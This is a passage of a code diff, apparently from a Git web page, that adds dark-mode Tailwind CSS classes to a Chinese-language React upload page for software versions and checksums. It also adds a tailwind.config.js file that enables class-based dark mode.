<div className="flex-shrink-0">
|
||||
<XCircle className="h-5 w-5 text-red-400" />
|
||||
<XCircle className="h-5 w-5 text-red-400 dark:text-red-300" />
|
||||
</div>
|
||||
<div className="ml-3">
|
||||
<h3 className="text-sm font-medium text-red-800">
|
||||
<h3 className="text-sm font-medium text-red-800 dark:text-red-200">
|
||||
加载失败
|
||||
</h3>
|
||||
<div className="mt-2 text-sm text-red-700">
|
||||
<div className="mt-2 text-sm text-red-700 dark:text-red-300">
|
||||
<p>{error}</p>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
@ -100,69 +100,69 @@ export default function UploadPage() {
|
||||
|
||||
return (
|
||||
<div className="max-w-3xl mx-auto p-6">
|
||||
<h1 className="text-3xl font-bold text-gray-800 mb-8">软件版本管理</h1>
|
||||
<h1 className="text-3xl font-bold text-gray-800 dark:text-white mb-8">软件版本管理</h1>
|
||||
|
||||
{/* 当前版本信息卡片 */}
|
||||
<div className="bg-white rounded-lg shadow-md mb-8 overflow-hidden">
|
||||
<div className="bg-gray-50 px-6 py-4 border-b">
|
||||
<h2 className="text-xl font-semibold text-gray-700">当前版本信息</h2>
|
||||
<div className="bg-white dark:bg-gray-800 rounded-lg shadow-md mb-8 overflow-hidden">
|
||||
<div className="bg-gray-50 dark:bg-gray-700 px-6 py-4 border-b dark:border-gray-600">
|
||||
<h2 className="text-xl font-semibold text-gray-700 dark:text-gray-200">当前版本信息</h2>
|
||||
</div>
|
||||
<div className="p-6">
|
||||
{currentVersion ? (
|
||||
<div className="space-y-3">
|
||||
<div className="grid grid-cols-12 gap-4 items-center">
|
||||
<span className="text-gray-600 col-span-2">版本号:</span>
|
||||
<span className="font-medium text-gray-800 col-span-10">{currentVersion.version}</span>
|
||||
<span className="text-gray-600 dark:text-gray-400 col-span-2">版本号:</span>
|
||||
<span className="font-medium text-gray-800 dark:text-gray-200 col-span-10">{currentVersion.version}</span>
|
||||
</div>
|
||||
<div className="grid grid-cols-12 gap-4 items-center">
|
||||
<span className="text-gray-600 col-span-2">下载地址:</span>
|
||||
<span className="text-gray-600 dark:text-gray-400 col-span-2">下载地址:</span>
|
||||
<a
|
||||
href={currentVersion.download_url}
|
||||
className="text-blue-600 hover:text-blue-800 break-all col-span-10"
|
||||
className="text-blue-600 dark:text-blue-400 hover:text-blue-800 dark:hover:text-blue-300 break-all col-span-10"
|
||||
>
|
||||
{currentVersion.download_url}
|
||||
</a>
|
||||
</div>
|
||||
<div className="grid grid-cols-12 gap-4 items-center">
|
||||
<span className="text-gray-600 col-span-2">校验和:</span>
|
||||
<span className="font-mono text-sm text-gray-700 break-all col-span-10">
|
||||
<span className="text-gray-600 dark:text-gray-400 col-span-2">校验和:</span>
|
||||
<span className="font-mono text-sm text-gray-700 dark:text-gray-300 break-all col-span-10">
|
||||
{currentVersion.checksum}
|
||||
</span>
|
||||
</div>
|
||||
</div>
|
||||
) : (
|
||||
<div className="text-gray-500 italic">暂无版本信息</div>
|
||||
<div className="text-gray-500 dark:text-gray-400 italic">暂无版本信息</div>
|
||||
)}
|
||||
</div>
|
||||
</div>
|
||||
|
||||
{/* 上传新版本表单 */}
|
||||
<div className="bg-white rounded-lg shadow-md">
|
||||
<div className="bg-gray-50 px-6 py-4 border-b">
|
||||
<h2 className="text-xl font-semibold text-gray-700">上传新版本</h2>
|
||||
<div className="bg-white dark:bg-gray-800 rounded-lg shadow-md">
|
||||
<div className="bg-gray-50 dark:bg-gray-700 px-6 py-4 border-b dark:border-gray-600">
|
||||
<h2 className="text-xl font-semibold text-gray-700 dark:text-gray-200">上传新版本</h2>
|
||||
</div>
|
||||
<div className="p-6 space-y-6">
|
||||
{/* 版本号输入 */}
|
||||
<div>
|
||||
<label className="block text-sm font-medium text-gray-700 mb-2">
|
||||
<label className="block text-sm font-medium text-gray-700 dark:text-gray-300 mb-2">
|
||||
版本号
|
||||
</label>
|
||||
<input
|
||||
value={newVersion}
|
||||
onChange={(e) => setNewVersion(e.target.value)}
|
||||
type="text"
|
||||
className="w-full px-4 py-2 border rounded-md focus:ring-2 focus:ring-blue-500 focus:border-blue-500 outline-none transition"
|
||||
className="w-full px-4 py-2 border dark:border-gray-600 rounded-md focus:ring-2 focus:ring-blue-500 focus:border-blue-500 outline-none transition bg-white dark:bg-gray-700 text-gray-900 dark:text-white"
|
||||
placeholder="例如: 1.0.0"
|
||||
/>
|
||||
</div>
|
||||
|
||||
{/* 文件上传 */}
|
||||
<div>
|
||||
<label className="block text-sm font-medium text-gray-700 mb-2">
|
||||
<label className="block text-sm font-medium text-gray-700 dark:text-gray-300 mb-2">
|
||||
选择文件
|
||||
</label>
|
||||
<div className="mt-1">
|
||||
<div className="border-2 border-dashed border-gray-300 rounded-lg px-6 py-8">
|
||||
<div className="border-2 border-dashed border-gray-300 dark:border-gray-600 rounded-lg px-6 py-8">
|
||||
<div className="text-center">
|
||||
<input
|
||||
type="file"
|
||||
@ -176,14 +176,14 @@ export default function UploadPage() {
|
||||
>
|
||||
选择文件
|
||||
</label>
|
||||
<p className="mt-2 text-sm text-gray-600">
|
||||
<p className="mt-2 text-sm text-gray-600 dark:text-gray-400">
|
||||
{versionFile?.name || '未选择文件'}
|
||||
</p>
|
||||
</div>
|
||||
{versionFileHash && (
|
||||
<div className="mt-4 text-center">
|
||||
<p className="text-xs text-gray-500">SHA-256 校验和:</p>
|
||||
<p className="font-mono text-xs text-gray-600 break-all">
|
||||
<p className="text-xs text-gray-500 dark:text-gray-400">SHA-256 校验和:</p>
|
||||
<p className="font-mono text-xs text-gray-600 dark:text-gray-400 break-all">
|
||||
{versionFileHash}
|
||||
</p>
|
||||
</div>
|
||||
@ -194,14 +194,14 @@ export default function UploadPage() {
|
||||
|
||||
{/* 错误提示 */}
|
||||
{uploadError && (
|
||||
<div className="text-red-600 text-sm">
|
||||
<div className="text-red-600 dark:text-red-400 text-sm">
|
||||
{uploadError}
|
||||
</div>
|
||||
)}
|
||||
|
||||
{/* 成功提示 */}
|
||||
{uploadSuccess && (
|
||||
<div className="bg-green-50 text-green-800 px-4 py-2 rounded-md text-sm">
|
||||
<div className="bg-green-50 dark:bg-green-900/50 text-green-800 dark:text-green-200 px-4 py-2 rounded-md text-sm">
|
||||
上传成功!
|
||||
</div>
|
||||
)}
|
||||
@ -211,7 +211,7 @@ export default function UploadPage() {
|
||||
<button
|
||||
onClick={uploadVersion}
|
||||
disabled={!canUploadVersion}
|
||||
className="inline-flex items-center px-6 py-3 border border-transparent text-base font-medium rounded-md shadow-sm text-white bg-blue-600 hover:bg-blue-700 focus:outline-none focus:ring-2 focus:ring-offset-2 focus:ring-blue-500 disabled:bg-gray-300 disabled:cursor-not-allowed transition-colors"
|
||||
className="inline-flex items-center px-6 py-3 border border-transparent text-base font-medium rounded-md shadow-sm text-white bg-blue-600 hover:bg-blue-700 focus:outline-none focus:ring-2 focus:ring-offset-2 focus:ring-blue-500 disabled:bg-gray-300 dark:disabled:bg-gray-600 disabled:cursor-not-allowed transition-colors"
|
||||
>
|
||||
{isUploading && (
|
||||
<svg className="animate-spin -ml-1 mr-3 h-5 w-5 text-white" xmlns="http://www.w3.org/2000/svg" fill="none" viewBox="0 0 24 24">
|
||||
|
||||
18
tailwind.config.js
Normal file
18
tailwind.config.js
Normal file
@ -0,0 +1,18 @@
|
||||
/** @type {import('tailwindcss').Config} */
|
||||
module.exports = {
|
||||
content: [
|
||||
'./pages/**/*.{js,ts,jsx,tsx,mdx}',
|
||||
'./components/**/*.{js,ts,jsx,tsx,mdx}',
|
||||
'./app/**/*.{js,ts,jsx,tsx,mdx}',
|
||||
],
|
||||
darkMode: 'class', // 使用类模式,允许手动切换
|
||||
theme: {
|
||||
extend: {
|
||||
colors: {
|
||||
background: 'var(--background)',
|
||||
foreground: 'var(--foreground)',
|
||||
},
|
||||
},
|
||||
},
|
||||
plugins: [],
|
||||
}
|
||||
Loading…
x
Reference in New Issue
Block a user